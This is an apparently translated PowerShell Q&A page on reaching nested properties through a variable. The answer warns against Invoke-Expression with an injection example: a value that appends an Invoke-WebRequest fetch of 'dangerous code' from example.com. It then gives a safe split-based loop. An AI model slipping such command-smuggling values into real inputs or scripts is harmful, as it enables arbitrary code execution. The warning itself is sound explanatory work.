我可以使用变量访问对象的嵌套属性吗?

Jac*_*vin 3 powershell

假设我有以下内容:

(Get-Date).psobject.Properties.Name
Run Code Online (Sandbox Code Playgroud)

我可以使用变量来访问属性:

$x = Name
(Get-Date).psobject.Properties.$x
Run Code Online (Sandbox Code Playgroud)

但是,我不能使用$ x来“扩展”嵌套属性:

$x = 'psobject.Properties.Name'
(Get-Date).$x
Run Code Online (Sandbox Code Playgroud)

因为在这种情况下,Powershell会将$ x视为整个字符串都是文字属性名称。

我发现有很多资源以不同的方式访问带有特殊字符的属性,但是没有关于如何做相反的事情的资源。

这可能吗?如果没有,为什么?

Ben*_*enH 5

PowerShell的一个有趣功能是您可以拥有包含句点的属性。例如:

[pscustomobject]@{'a.b.c' = 'example'}
Run Code Online (Sandbox Code Playgroud)

这意味着在您的问题中,因为$x是字符串,所以(Get-Date).$x不会将点表示法解析为单独的属性名称。但是作为(Get-Date).'psobject.Properties.Name'

解决此问题的一种惰性方法是用于Invoke-Expression在评估之前先构建字符串。

$x = 'psobject.Properties.Name'
Invoke-Expression "(Get-Date).$x"
Run Code Online (Sandbox Code Playgroud)

只要定义的$x是您定义的静态值,这通常是可以接受的。但是,如果通过其他方法设置的定义$x,则可以执行任意代码,从而陷入Bobby Tables的情况。例如:

$x = 'psobject.Properties.Name; Invoke-WebRequest http://example.com/superdangerouscode!!!'
Invoke-Expression "(Get-Date).$x"
Run Code Online (Sandbox Code Playgroud)

因此,如果您可以依赖$x于以点分隔符号表示的定义,则可以split()对点使用该方法将值转换为要循环的数组。

$Date = (Get-Date)
$Properties = 'psobject.Properties.Name'.split('.')
$Properties | ForEach-Object {
    if ($_ -ne $Properties[-1]) {
        #iterate through properties
        $Date = $Date.$_
    } else {
        #Output last value
        $Date.$_
    }
}
Run Code Online (Sandbox Code Playgroud)